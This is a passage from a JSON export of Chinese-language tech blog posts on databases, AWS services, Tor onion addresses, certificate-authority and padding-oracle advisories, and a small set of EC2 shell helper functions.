    "body": "算是無意間翻到的資料，<a href=\"https://dev.mysql.com/\">MySQL</a> 上的全文搜尋引擎：「<a href=\"http://mroonga.org/\">Mroonga</a>」。\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/w6mjWoK.webp\" /><img src=\"https://i.gslin.com/imgur/w6mjWoK.jpg\" alt=\"\" /></picture>\r\n\r\n看起來後面主要是日本社群？從 2010 年就開始發展了，號稱 CJK 都支援，而且各大作業系統也都有預先包好的版本 (像是 <a href=\"https://www.ubuntu.com/\">Ubuntu</a> 上有 <a href=\"https://launchpad.net/ubuntu/+ppas\">PPA</a>)。\r\n\r\n雖然現在社群音量最大的應該還是 <a href=\"https://www.elastic.co/products/elasticsearch\">Elasticsearch</a>，但看起來頗有趣的，對於只是想要架個小東西玩的專案，說不定是個有趣的方案？",
    "title": "MySQL 上的全文搜尋引擎：Mroonga"
  },
  {
    "id": "7718",
    "body": "雖然大家都在用 <a href=\"https://nginx.org/\">nginx</a>，但 <a href=\"https://www.haproxy.org/\">HAProxy</a> 還是在努力：「<a href=\"https://www.haproxy.com/blog/whats-new-haproxy-1-8/\">What’s New in HAProxy 1.8</a>」。\r\n\r\n這個版本多了好多東西...\r\n\r\n<ul>\r\n\t<li>支援 HTTP/2。(終於...)</li>\r\n\t<li>Multithreading 架構。(health check 總算是一隻了 XD 不會開八隻就打八次...)</li>\r\n\t<li>DNS 的 Service Discovery。</li>\r\n\t<li>TLS 1.3 0-RTT。(居然支援了...)</li>\r\n</ul>\r\n\r\n有種突然醒過來的感覺...",
    "title": "HAProxy 1.8 多了好多東西..."
  },
  {
    "id": "7719",
    "body": "<a href=\"https://techcrunch.com/\">TechCrunch</a> 這篇「<a href=\"https://techcrunch.com/2017/11/01/russian-facebook-ad-spend/\">Trump and Clinton spent $81M on US election Facebook ads, Russian agency $46K</a>」講到 <a href=\"https://www.facebook.com/\">Facebook</a> 目前階段所判斷出來，能夠識別是俄羅斯政府投入的資金，只有 USD$46K，相較於美國兩黨投入了 USD$81M 差了 1760 倍：\r\n\r\n<blockquote>While there might have been other Russian disinformation groups, the IRA spent $46,000 on pre-election day Facebook ads compared to $81 million spent by Clinton and Trump together, discluding political action committees who could have spent even more than that on the campaigns’ behalf.</blockquote>\r\n\r\n而俄羅斯投入的廣告散佈率超過 1.26 億的 Facebook 使用者，以及 2000 萬 <a href=\"https://www.instagram.com/\">Instagram</a> 的使用者：\r\n\r\n<blockquote>Facebook today said that the Russians still reached 126 million Facebook users, as well as 20 million Instagram users.</blockquote>\r\n\r\n俄羅斯這團隊的水準真不賴... 只可惜大概沒辦法寫在 resume 上。\r\n\r\n聽證會的資料可以從「<a href=\"https://www.intelligence.senate.gov/hearings/open-hearing-social-media-influence-2016-us-elections\">Hearings</a>」這邊看到。",
    "title": "俄羅斯展現「錢要花在刀口上」的功力？"
  },
  {
    "id": "7720",
    "body": "看到 <a href=\"https://www.cloudflare.com/\">CloudFlare</a> 請求加入 <a href=\"https://www.chromium.org/\">Chromium</a> (<a href=\"https://www.google.com/chrome/\">Google Chrome</a>) 的伺服器列表：「<a href=\"https://bugs.chromium.org/p/chromium/issues/detail?id=780653\">Certificate Transparency - Cloudflare \"nimbus2017\" Log Server Inclusion Request</a>」。\r\n\r\n對照之前的「<a href=\"https://blog.gslin.org/archives/2017/10/29/7691/chromium-%E5%85%A7%E6%8F%90%E6%A1%88%E7%A7%BB%E9%99%A4-hpkp-http-public-key-pinning/\">Chromium 內提案移除 HPKP (HTTP Public Key Pinning)</a>」以及「<a href=\"https://blog.gslin.org/archives/2017/10/30/7695/lets-encrypt-%E7%9A%84-embed-sct-%E6%94%AF%E6%8F%B4/\">Let's Encrypt 的 Embed SCT 支援</a>」，這樣看起來是瀏覽器內會有一份白名單，只有在這白名單上的 Embed SCT 才會被信任...\r\n\r\n但弄到這樣的話，log server 是不是也要有稽核機制？\r\n\r\n<img src=\"https://i.gslin.com/imgur/friaaLF.jpg\" alt=\"\" />\r\n\r\n好像哪邊搞錯了方向啊...",
    "title": "CloudFlare 也要提供 Certificate Transparency 的 Log 伺服器了..."
  },
  {
    "id": "7722",
    "body": "在 <a href=\"https://news.ycombinator.com/\">Hacker News</a> 上看到 <a href=\"https://www.kb.cert.org/\">CERT</a> 的「<a href=\"https://www.kb.cert.org/vuls/id/446847\">Savitech USB audio drivers install a new root CA certificate</a>」提到 Savitech USB audio driver 會安裝自己的 Root CA：\r\n\r\n<blockquote>Savitech provides USB audio drivers for a number of specialized audio products. Some versions of the Savitech driver package silently install a root CA certificate into the Windows trusted root certificate store.</blockquote>\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/phMLz8b.webp\" /><img src=\"https://i.gslin.com/imgur/phMLz8b.jpg\" alt=\"\" /></picture>\r\n\r\n出自「<a href=\"https://community.rsa.com/community/products/netwitness/blog/2017/10/27/inaudible-subversion-did-your-hi-fi-just-subvert-your-pc\">Inaudible Subversion - Did your Hi-Fi just subvert your PC?</a> (原網站已經無法訪問，參考備份連結 <a href=\"https://archive.is/K6REr\">https://archive.is/K6REr</a>)」，CVE 編號是 <a href=\"https://cve.mitre.org/cgi-bin/cvename.cgi?name=2017-9758\">CVE-2017-9758</a>，最初是由 n3kt0n 提出的：「<a href=\"https://zeroday.hitcon.org/vulnerability/ZD-2017-00386\">某單位 drivers silently install certificate in trusted root certificate authorities store [CVE-2017-9758]</a>」：\r\n\r\n<blockquote>Mitre assigned this exposure the identifier CVE-2017-9758, but was initially tracked by HITCON ZeroDay project as ZD-2017-00386. </blockquote>\r\n\r\n有兩把 CA public key 被塞進去。雖然目前還沒有徵兆 private key 有外洩，但還是建議儘快移除：\r\n\r\n<pre>There is currently no evidence that the Savitech private key is compromised. However, users are encouraged to remove the certificate out of caution. The two known certificates are:\r\n\r\nSaviAudio root certificate #1\r\n‎Validity: Thursday, ‎May ‎31, ‎2012 - ‎Tuesday, ‎December ‎30, ‎2036\r\nSerial number: 579885da6f791eb24de819bb2c0eeff0\r\nThumbprint: cb34ebad73791c1399cb62bda51c91072ac5b050\r\n\r\nSaviAudio root certificate #2\r\nValidity: ‎Thursday, ‎December ‎31, ‎2015 - ‎Tuesday, ‎December ‎30, ‎2036\r\nSerial number: ‎972ed9bce72451bb4bd78bfc0d8b343c\r\nThumbprint: 23e50cd42214d6252d65052c2a1a591173daace5</pre>\r\n\r\n另外 Savitech 也放出了新版的 driver，不包含 Root CA：\r\n\r\n<blockquote>Savitech has released a new driver package to address the issue. Savitech drivers version 2.8.0.3 or later do not install the root CA certificate. Users still must remove any previously installed certificate manually.</blockquote>\r\n\r\n看了一下說明，看起來是當時為了支援 <a href=\"https://en.wikipedia.org/wiki/Windows_XP\">Windows XP</a> 而做的，但微軟已經不提供驅動程式的數位簽章了，所以就只好這樣搞...",
    "title": "Savitech (盛微) 的 USB 音效驅動程式會安裝 Root CA (被發了 CVE-2017-9758)"
  },
  {
    "id": "7723",
    "body": "<a href=\"https://aws.amazon.com/api-gateway/\">Amazon API Gateway</a> 先前一定要跟 <a href=\"https://aws.amazon.com/cloudfront/\">Amazon CloudFront</a> 綁在一起 (而且還是很奇怪的 distribution，不是 Price Class 裡面任何一種分類)，現在總算可以獨立自己運作了：「<a href=\"https://aws.amazon.com/about-aws/whats-new/2017/11/amazon-api-gateway-supports-regional-api-endpoints/\">Amazon API Gateway Supports Regional API Endpoints</a>」。\r\n\r\n<blockquote>A regional API endpoint is a new type of endpoint that is accessed from the same AWS region in which your REST API is deployed. This helps you reduce request latency when API requests originate from the same region as your REST API.</blockquote>\r\n\r\n而且這樣一來，如果還是要用 Amazon CloudFront 擋在前面的話，可以自己選擇 Price Class：\r\n\r\n<blockquote>Additionally, you can now choose to associate your own Amazon CloudFront distribution with the regional API endpoint.</blockquote>\r\n\r\n以前用起來頗莫名其妙的 XDDD",
    "title": "Amazon API Gateway 可以獨立運作了..."
  },
  {
    "id": "7725",
    "body": "<a href=\"https://www.torproject.org/\">Tor</a> 公佈了下一代的 <a href=\"https://www.torproject.org/docs/hidden-services.html.en\">Hidden Service</a> (Onion Service)：「<a href=\"https://blog.torproject.org/tors-fall-harvest-next-generation-onion-services\">Tor's Fall Harvest: the Next Generation of Onion Services</a>」。\r\n\r\n三年前 <a href=\"https://www.facebook.com/\">Facebook</a> 自己暴力算出 <a href=\"https://facebookcorewwwi.onion/\">facebookcorewwwi.onion</a> 這個很特別的名字 (參考「<a href=\"https://blog.gslin.org/archives/2014/11/01/5233/facebook-%E8%AD%89%E6%98%8E-tor-%E7%9A%84-hidden-service-%E4%B8%8D%E5%AE%89%E5%85%A8/\">Facebook 證明 Tor 的 Hidden Service 不安全</a>」)，這陣子連<a href=\"https://www.nytimes.com/\">紐約時報</a>也能暴力算出 <a href=\"https://nytimes3xbfgragh.onion/\">nytimes3xbfgragh.onion</a> 這個好名字 (參考「<a href=\"https://blog.gslin.org/archives/2017/10/28/7690/%E7%B4%90%E7%B4%84%E6%99%82%E5%A0%B1%E7%B6%B2%E7%AB%99%E4%B8%8A-tor-%E7%9A%84-hidden-service-i-e-tor-onion-service/\">紐約時報網站上 Tor 的 Hidden Service (i.e. Tor Onion Service)</a>」，這讓只有 16 chars 的 hostname 的 hashed-space 不夠大的問題愈來愈明顯 (只有 80 bits 的空間)。\r\n\r\n如果你也想要找出一個有趣的 hostname 的話，可以用 <a href=\"https://github.com/lachesis/scallion\">lachesis/scallion</a> 這樣的工具，這程式用 CPU 產生出 <a href=\"https://en.wikipedia.org/wiki/RSA_(cryptosystem)\">RSA</a> key 後，再用 GPU 算 <a href=\"https://en.wikipedia.org/wiki/SHA-1\">SHA-1</a>：\r\n\r\n<blockquote>The inital RSA key generation is done the CPU. An ivybridge i7 can generate 51 keys per second using a single core. Each key can provide 1 gigahash worth of exponents to mine and a decent CPU can keep up with several GPUs as it is currently implemented.</blockquote>\r\n\r\n也因為如此，Facebook 與紐約時報在上線時並不是直接在 Hidden Service 上裸奔，而是上了 HTTPS 作為 workaround，以避免資料外洩。\r\n\r\n但這畢竟是 workaround，Tor 的人還是希望協定本身就可以提供一個夠安全的架構，而花了四年多發展出下一代的 Hidden Service，也就是這次提到的成果了。\r\n\r\n最大的改變就是 hostname 變長很多了，從本來的 16 chars 變成 56 chars：\r\n\r\n<blockquote>And finally from the casuals user's PoV, the only thing that changes is that new onions are bigger, tastier and they now look like this: <a href=\"http://7fa6xlti5joarlmkuhjaifa47ukgcwz6tfndgax45ocyn4rixm632jid.onion\">7fa6xlti5joarlmkuhjaifa47ukgcwz6tfndgax45ocyn4rixm632jid.onion</a>.</blockquote>\r\n\r\nhostname 變長主要是因為把整個 256 bits public key 放進去，可以從 spec 看到：\r\n\r\n<pre>6. Encoding onion addresses [ONIONADDRESS]\r\n\r\n   The onion address of a hidden service includes its identity public key, a\r\n   version field and a basic checksum. All this information is then base32\r\n   encoded as shown below:\r\n\r\n     onion_address = base32(PUBKEY | CHECKSUM | VERSION) + \".onion\"\r\n     CHECKSUM = H(\".onion checksum\" | PUBKEY | VERSION)[:2]\r\n\r\n     where:\r\n       - PUBKEY is the 32 bytes ed25519 master pubkey of the hidden service.\r\n       - VERSION is an one byte version field (default value '\\x03')\r\n       - \".onion checksum\" is a constant string\r\n       - CHECKSUM is truncated to two bytes before inserting it in onion_address\r\n\r\n  Here are a few example addresses:\r\n\r\n       pg6mmjiyjmcrsslvykfwnntlaru7p5svn6y2ymmju6nubxndf4pscryd.onion\r\n       sp3k262uwy4r2k3ycr5awluarykdpag6a7y33jxop4cs2lu5uz5sseqd.onion\r\n       xa4r2iadxm55fbnqgwwi5mymqdcofiu3w6rpbtqn7b2dyn7mgwj64jyd.onion\r\n\r\n   For more information about this encoding, please see our discussion thread\r\n   at [ONIONADDRESS-REFS].</pre>\r\n\r\n這是因為在 <a href=\"https://en.wikipedia.org/wiki/Elliptic-curve_cryptography\">ECC</a> 的安全性被廣泛認可後，ECC 的優點就被拿出來用在這次設計上了：\r\n\r\n<ul>\r\n\t<li>256 bits 的 ECC key 強度大約是 3072 bits RSA key (以現在最好的攻擊演算法來估算)。</li>\r\n\t<li>直接放 public key 不需要經過 hash function 計算，可以避免掉 hash function 被找到 collision 時的風險。</li>\r\n</ul>\r\n\r\n於是因為 hostname 放的下，就硬塞進去了 XDDD\r\n\r\n不過如果要玩的人需要裝 alpha 版本，目前的 stable 版本還沒有這個功能：\r\n\r\n<blockquote>Tor as of version 0.3.2.1-alpha supports the next-gen onion services protocol for clients and services! As part of this release, ​the core of proposal 224 has been implemented and is available for experimentation and testing by our users.</blockquote>",
    "title": "下一代的 Tor Hidden Service"
  },
  {
    "id": "7728",
    "body": "當然速度就不用想太多了...\r\n\r\n一個是 <a href=\"https://www.yubico.com/\">Yubico</a> 推出的 <a href=\"https://www.yubico.com/products/yubihsm/\">YubiHSM 2</a>：「<a href=\"https://www.yubico.com/2017/10/yubihsm-2-providing-root-trust-servers-computing-devices/\">YubiHSM 2 is here: Providing root of trust for servers and computing devices</a>」。\r\n\r\n另外一個是 <a href=\"https://www.mozilla.org/\">Mozilla</a> 在 2013 年提到的 <a href=\"http://www.crypto-stick.org/\">CryptoStick</a>，不過現在連過去看到的是 <a href=\"https://www.nitrokey.com/files/doc/Nitrokey_HSM_English.pdf\">Nitrokey HSM</a>：「<a href=\"https://blog.mozilla.org/security/2013/02/13/using-cryptostick-as-an-hsm/\">Using CryptoStick as an HSM</a>」。\r\n\r\n兩個都是走 USB 1.1 Type A，運算效能都普普通通，感覺自己用比較合適？像是 <a href=\"https://www.gnupg.org/\">GnuPG</a> 加解密。拿給線上服務用的效能還是要夠好...",
    "title": "便宜的 HSM"
  },
  {
    "id": "7729",
    "body": "<a href=\"https://www.ptt.cc/\">Ptt</a> 網頁版不知道什麼時候開始把 <a href=\"https://imgur.com/\">Imgur</a> 的圖片變成 embed 版本了，圖很小又有留白一堆東西，看起來不太舒服...\r\n\r\n剛剛寫了個 <a href=\"https://en.wikipedia.org/wiki/Greasemonkey\">Greasemonkey script</a> 換回來：「<a href=\"https://github.com/gslin/ptt-imgur-cleaner-gm\">gslin/ptt-imgur-cleaner-gm</a>」。已經有安裝 Userscript 管理軟體的，可以在 <a href=\"https://openuserjs.org/\">OpenUserJS</a> 上安裝：「<a href=\"https://openuserjs.org/scripts/gslin/Ptt_Imgur_Cleaner\">Ptt Imgur Cleaner</a>」。\r\n\r\n程式做幾件事情，一件是加上 <code>meta</code> tag 不要送 <code>Referrer</code>，然後用圖片換掉 Imgur 產生出來的 <code>iframe</code>，另外一個是把 <code>.richcontent</code> 的 <code>max-width</code> 設為 100%。\r\n\r\n這樣看 Ptt 的文章應該會方便一些...\r\n\r\n<strong>Update</strong>：結果有朋友說當初是因為被 Imgur 擋掉所以才換成 embed 的... (大概是量太大的關係)",
    "title": "把 Ptt 網頁版 Imgur 的圖片換回來..."
  },
  {
    "id": "7734",
    "body": "這投票殺來殺去了好幾次才過，從 <a href=\"https://secure.php.net/\">PHP</a> 7.3 開始在 function 呼叫時就能接受 trailing comma 了：「<a href=\"https://wiki.php.net/rfc/trailing-comma-function-calls\">PHP RFC: Allow a trailing comma in function calls</a>」。\r\n\r\n<blockquote>Wait, didn't we just vote on this?\r\n\r\nYes, there was an RFC to add trailing commas to all list syntax in PHP 7.2. Unfortunately due to an oversight on my end, the vote for function calls and function declarations was combined into one vote so the vote failed (but just barely!)\r\n\r\nI was contacted by many “no” voters saying that they would have voted “yes” for function calls, but “no” for function declarations. This RFC proposes allowing a trailing comma in function call syntax only.\r\n\r\nWe are allowed to put this feature up for vote again since the mandatory 6-month waiting period has passed since the last vote and this RFC targets a new major version of PHP.</blockquote>\r\n\r\n這次以 30:10 過了... (需要 2/3 以上同意)",
    "title": "PHP 7.3 的 function 也會支援 trailing comma 了"
  },
  {
    "id": "7735",
    "body": "<a href=\"https://aws.amazon.com/ec2/\">Amazon EC2</a> 推出新的 instance：「<a href=\"https://aws.amazon.com/blogs/aws/now-available-compute-intensive-c5-instances-for-amazon-ec2/\">Now Available – Compute-Intensive C5 Instances for Amazon EC2</a>」，官方宣稱這次單位價錢的效能與 C4 相比大約提升了 25%，而極端的情況可以到 50%：\r\n\r\n<blockquote>The new instances offer a 25% price/performance improvement over the C4 instances, with over 50% for some workloads.</blockquote>\r\n\r\n這次比較特別的是切分方式，是 large、xlarge、2xlarge、4xlarge、9xlarge (咦？) 以及 18xlarge (...)。\r\n\r\n然後亞洲區都還沒上 XD\r\n\r\n<blockquote>You can launch C5 instances today in the US East (Northern Virginia), US West (Oregon), and EU (Ireland) Regions in On-Demand and Spot form (Reserved Instances are also available), with additional Regions in the works.</blockquote>",
    "title": "Amazon EC2 的 C5 家族..."
  },
  {
    "id": "7736",
    "body": "<a href=\"https://aws.amazon.com/ec2/\">Amazon EC2</a> 的 CRI (Convertible Reserved Instance) 支援一年的合約了：「<a href=\"https://aws.amazon.com/blogs/aws/ec2-convertible-reserved-instance-update-new-1-year-cri-merges-splits/\">EC2 Convertible Reserved Instance Update – New 1-Year CRI, Merges &amp; Splits</a>」，這樣彈性再多了一些：\r\n\r\n<blockquote>Today we are introducing Convertible RIs with a 1-year term, complementing the existing 3-year term.</blockquote>\r\n\r\n不過 CRI 主要是用在需要換 family type 的情境下，如果是已知 family type (像是一般性的 worker 會選 C4 或是剛推出的 C5) 那麼就直接選擇 Regional RI 就好...\r\n\r\n基本上就是讓財務操作上多個選擇 :o",
    "title": "Amazon EC2 的 CRI 支援一年版本了..."
  },
  {
    "id": "7737",
    "body": "在 <a href=\"https://twitter.com/\">Twitter</a> 上看到有人提到 <a href=\"https://curl.haxx.se/\">curl</a> 支援 <a href=\"https://en.wikipedia.org/wiki/Brotli\">Brotli</a> 了：「<a href=\"https://github.com/curl/curl/commit/11bf1796cd015373a996e6eb26212e2e1aadb066\">HTTP: implement Brotli content encoding</a>」。\r\n\r\nBrotli 對文字系列的資料比較有幫助 (像是 html)：\r\n\r\n<blockquote>Unlike most general purpose compression algorithms, Brotli uses a pre-defined 120 kilobyte dictionary, in addition to the dynamically populated (\"sliding window\") dictionary. The pre-defined dictionary contains over 13000 common words, phrases and other substrings derived from a large corpus of text and HTML documents. Using a pre-defined dictionary has been shown to increase compression where a file mostly contains commonly-used words.</blockquote>\r\n\r\n現在還在 master 裡面，之後的 release 版本應該就會支援了...",
    "title": "curl 將支援 Brotli 壓縮"
  },
  {
    "id": "7738",
    "body": "在「<a href=\"https://thehackernews.com/2017/11/ieee-p1735-ip-encryption.html\">IEEE P1735 Encryption Is Broken—Flaws Allow Intellectual Property Theft</a>」這邊看到 <a href=\"https://www.kb.cert.org/\">US-CERT</a> 發表的「<a href=\"https://www.kb.cert.org/vuls/id/739007\">IEEE P1735 implementations may have weak cryptographic protections</a>」，裡面提到的主要漏洞：\r\n\r\n<blockquote>The methods are flawed and, in the most egregious cases, enable attack vectors that allow recovery of the entire underlying plaintext IP.</blockquote>\r\n\r\n主要應該是第一包：\r\n\r\n<blockquote>CVE-2017-13091: improperly specified padding in CBC mode allows use of an EDA tool as a decryption oracle.</blockquote>\r\n\r\n又是 <a href=\"https://en.wikipedia.org/wiki/Cipher_block_chaining\">CBC</a> 的 <a href=\"https://en.wikipedia.org/wiki/Padding_oracle_attack\">padding oracle attack</a> 啊... 看起來是標準沒有強制定義好造成的？\r\n\r\n<blockquote>The main vulnerability (CVE-2017-13091) resides in the IEEE P1735 standard's use of AES-CBC mode.\r\n\r\nSince the standard makes no recommendation for any specific padding scheme, the developers often choose the wrong scheme, making it possible for attackers to use a well-known classic padding-oracle attack (POA) technique to decrypt the system-on-chip blueprints without knowledge of the key.</blockquote>\r\n\r\n去年 <a href=\"https://www.cloudflare.com/\">Cloudflare</a> 寫的「<a href=\"https://blog.cloudflare.com/padding-oracles-and-the-decline-of-cbc-mode-ciphersuites/\">Padding oracles and the decline of CBC-mode cipher suites</a>」這邊有提到 padding oracle attack 的方式，比較一般性的解法是避開要自己決定 Encrypt-then-MAC (IPsec；也是數學上證明安全性) 或 Encrypt-and-MAC (SSH) 或是 MAC-then-Encrypt (SSL)，而是用 <a href=\"https://en.wikipedia.org/wiki/AEAD\">AEAD</a> 類的加密元件直接躲開 padding oracle attack 的某些必要條件 (像是 <a href=\"https://en.wikipedia.org/wiki/AES-GCM\">AES-GCM</a> 或是 <a href=\"https://en.wikipedia.org/wiki/ChaCha20\">ChaCha20</a>-<a href=\"https://en.wikipedia.org/wiki/Poly1305\">Poly1305</a>)。\r\n\r\n不過這也是這幾年大家才了解這樣做的重要性，當年在訂規格的時候都比較沒在在意這些...",
    "title": "IEEE P1735 漏洞，又是 Padding Oracle Attack..."
  },
  {
    "id": "7741",
    "body": "我覺得還是用 <a href=\"https://www.cloudflare.com/\">Cloudflare</a> 比較實際... (寫了那麼長，有種負面教材的感覺 XDDD)\r\n\r\n<a href=\"https://aws.amazon.com/\">AWS</a> 的原文在「<a href=\"https://aws.amazon.com/blogs/startups/how-to-accelerate-your-wordpress-site-with-amazon-cloudfront/\">How to accelerate your WordPress site with Amazon CloudFront</a>」這邊可以看到。\r\n\r\n對照 Cloudflare 的說明：「<a href=\"https://support.cloudflare.com/hc/en-us/articles/227634427-Using-Cloudflare-with-WordPress\">Using Cloudflare with WordPress</a>」，除了長度外，可以看到一堆設定都包好了：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/PGx4SLv.webp\" /><img src=\"https://i.gslin.com/imgur/PGx4SLv.jpg\" alt=\"\" /></picture>\r\n\r\n然後提到比較現實的，Cloudflare 把 domain 掛上去就有不用錢的方案，hmmm...",
    "title": "看完 AWS 給的 WordPress + CloudFront 指南後..."
  },
  {
    "id": "7742",
    "body": "留在 tab 上的東西，忘記在哪看到的... <a href=\"https://microg.org/\">microG</a> 發佈了新的專案：「<a href=\"https://lineage.microg.org/\">LineageOS for microG</a>」。\r\n\r\nmicroG 是 <a href=\"https://www.android.com/\">Android</a> 上 <a href=\"https://www.google.com/\">Google</a> 服務 API 的重新實作 (所以 open source)，不像 <a href=\"http://opengapps.org/\">Open GApps</a> 還是屬於 proprietary software。\r\n\r\n這次的事情是 microG 的人 fork 了 LineageOS 專案，因為 LineageOS 專案拒絕 microG 的 signature spoofing patch：\r\n\r\n<blockquote>Why do we need a custom build of LineageOS to have microG? Can't I install microG on the official LineageOS?\r\n\r\nMicroG requires a patch called \"signature spoofing\", which allows the microG's apps to spoof themselves as Google Apps. LineageOS' developers refused (multiple times) to include the patch, forcing us to fork their project.</blockquote>\r\n\r\n另外也提到了他們覺得拒絕的原因很鳥：\r\n\r\n<blockquote>Wait, on their FAQ page I see that they don't want to include the patch for security reasons. Is this ROM unsafe?\r\n\r\nNo. LineageOS' developers hide behind the \"security reasons\" shield, but in reality they don't care enough about the freedom of their users to risk to upset Google by giving them an alternative to the Play Services.\r\nThe signature spoofing could be an unsafe feature only if the user blindly gives any permission to any app, as this permission can't be obtained automatically by the apps.\r\n\r\nMoreover, to further strengthen the security of our ROM, we modified the signature spoofing permission so that only system privileged apps can obtain it, and no security threat is posed to our users.</blockquote>\r\n\r\n於是就 fork 了新的專案... 就觀察看看吧。",
    "title": "microG 的進展..."
  },
  {
    "id": "7743",
    "body": "有時候需要開 <a href=\"https://www.ubuntu.com/\">Ubuntu</a> 測試東西，會在 <a href=\"https://aws.amazon.com/\">AWS</a> 上開 <a href=\"https://aws.amazon.com/ec2/\">EC2</a> 起來測試，但開 console 太麻煩了，寫幾個 function 丟進 shell script 裡面比較乾脆。其中查詢 Ubuntu AMI 的程式出自「<a href=\"https://askubuntu.com/questions/53582/how-do-i-know-what-ubuntu-ami-to-launch-on-ec2\">How do I know what Ubuntu AMI to launch on EC2?</a>」這邊。\r\n\r\n在 <code>ec2.ls()</code> 裡，我的 <a href=\"https://stedolan.github.io/jq/\">jq</a> 版本比較舊，不過不影響我的 copy &amp; paste，所以就沒有 hack 他了。新版的應該可以多加上 <code>| @tsv</code> 變成 tab 隔開 (沒測過，查資料時查到而已)。\r\n\r\n在 <code>ec2.run()</code> 裡，我這邊是先到 console 上查出 security group 與 subnet 的 id，然後這邊 hard code 進去。我的預設是開 <code>t2.medium</code>，臨時要指定的話就 <code>ec2.run t2.nano</code> 就可以改開 t2.nano 了，不過要注意的是，這邊程式在查詢時的條件是 <code>hvm:ebs</code>，換的時候要注意 image 相容性...\r\n\r\n<pre># AWS-related\r\nfunction ec2.ls() {\r\n    aws ec2 describe-instances | \\\r\n        jq -c -M '.Reservations[] | .Instances[] | [.InstanceId, .InstanceType, .PublicIpAddress]'\r\n}\r\n\r\nfunction ec2.rm() {\r\n    local INSTANCE_ID=${1:i-xxxxxxxxxxxxxxxxx}\r\n    aws ec2 terminate-instances --instance-id ${INSTANCE_ID}\r\n}\r\n\r\nfunction ec2.run() {\r\n    local INSTANCE_TYPE=${1:-t2.medium}\r\n    aws ec2 run-instances --image-id $(ec2.ubuntu_ami()) --key-name gslin --security-group-ids sg-xxxxxxxx --instance-type ${INSTANCE_TYPE} --subnet-id subnet-xxxxxxxx\r\n}\r\n\r\nfunction ec2.ubuntu_ami() {\r\n    curl -s \"https://cloud-images.ubuntu.com/locator/ec2/releasesTable\" | \\\r\n    sed '$x;$G;/\\(.*\\),/!H;//!{$!d};$!x;$s//\\1/;s/^\\n//' | \\\r\n    jq -c '.aaData[] | select(contains([\"16.04\", \"us-east-1\", \"hvm:ebs\"]))' | \\\r\n    grep -o 'ami-[a-z0-9]\\+' | \\\r\n    head -1\r\n}</pre>\r\n\r\n這種工具自己用的順手比較重要，要什麼功能自己改自己加...\r\n\r\n話說 Ubuntu 網站上的 JSON 居然吐出 malformed data (trailing comma)，這是自己 <code>printf()</code> 之類硬幹出來的嗎... XD",
    "title": "在 CLI 下開關以及查詢 EC2 的狀態..."
  },
  {
    "id": "7744",
    "body": "<a href=\"https://aws.amazon.com/\">AWS</a> 計畫把先前設計的 VPC Endpoint 都併到 AWS PrivateLink 裡，統一管理：「<a href=\"https://aws.amazon.com/blogs/aws/new-aws-privatelink-endpoints-kinesis-ec2-systems-manager-and-elb-apis-in-your-vpc/\">New – AWS PrivateLink for AWS Services: Kinesis, Service Catalog, EC2 Systems Manager, Amazon EC2 APIs, and ELB APIs in your VPC</a>」。\r\n\r\n<blockquote>Today we are announcing AWS PrivateLink, the newest generation of VPC Endpoints which is designed for customers to access AWS services in a highly available and scalable manner, while keeping all the traffic within the AWS network. Kinesis, Service Catalog, Amazon EC2, EC2 Systems Manager (SSM), and Elastic Load Balancing (ELB) APIs are now available to use inside your VPC, with support for more services coming soon such as Key Management Service (KMS) and Amazon Cloudwatch.</blockquote>\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/p3llYAQ.webp\" /><img src=\"https://i.gslin.com/imgur/p3llYAQ.jpg\" alt=\"\" /></picture>\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/4nZ1caX.webp\" /><img src=\"https://i.gslin.com/imgur/4nZ1caX.jpg\" alt=\"\" /></picture>\r\n\r\n這樣就不用弄 proxy server 然後在上面管一堆 policy 了... (先不講自己搞 HA 的麻煩事，光是有些程式還得 patch 才能支援 proxy 就會想翻桌了 XD)",
    "title": "AWS PrivateLink"
  },
  {
    "id": "7745",
    "body": "<a href=\"https://www.cloudflare.com/\">Cloudflare</a> 測試 <a href=\"https://www.arm.com/\">ARM</a> 新的伺服器 (是由 <a href=\"https://www.qualcomm.com/\">Qualcomm</a> 與 <a href=\"https://cavium.com/\">Cavium</a> 提供工程樣品給 Cloudflare 測試)：「<a href=\"https://blog.cloudflare.com/arm-takes-wing/\">ARM Takes Wing: Qualcomm vs. Intel CPU comparison</a>」。\r\n\r\n<img src=\"https://i.gslin.com/imgur/0NnVTYc.jpg\" alt=\"\" />\r\n\r\n原文有很多測試數據，可以看出來跟以前比起來好很多。系統程式的效能都還不錯，跟 Intel 平台各有輸贏，但 <a href=\"https://golang.org/\">Go</a> 對 ARM 的最佳化好像不太好，有點慘...\r\n\r\n不過這樣至少表示了有機會互拼，如果考慮電力使用情況，加上這還是工程樣板的話，應該是可以拉板凳了？",
    "title": "Cloudflare 測試 ARM 新的伺服器"
  },
  {
    "id": "7746",
    "body": "在 <a href=\"https://github.com/ryfeus/lambda-packs\">ryfeus/lambda-packs</a> 這邊有一票已經編好的套件，可以看出選出來的都是比較吃資源的東西，拆成 API 接出去比較划算 (以免 API overhead 佔太多)：\r\n\r\n<ul>\r\n\t<li>Selenium PhantomJS</li>\r\n\t<li>Pyresttest + WRK</li>\r\n\t<li>Lxml + requests</li>\r\n\t<li>Tensorflow</li>\r\n\t<li>Sklearn</li>\r\n\t<li>Skimage</li>\r\n\t<li>OpenCV + PIL</li>\r\n\t<li>Pandas</li>\r\n\t<li>Tesseract</li>\r\n\t<li>PDF generator + Microsoft office file generator (docx, xlsx, pptx) + image generator (jpg, png) + book generator (epub)</li>\r\n\t<li>Satellite imagery processing (rasterio + OSGEO + pyproj + shapely + PIL)</li>\r\n</ul>\r\n\r\n有些套件光是要編就很麻煩，作者編好後讓人可以直接包進去 XD",
    "title": "一票在 AWS Lambda 上預先編好的套件"
  },
  {
    "id": "7747",
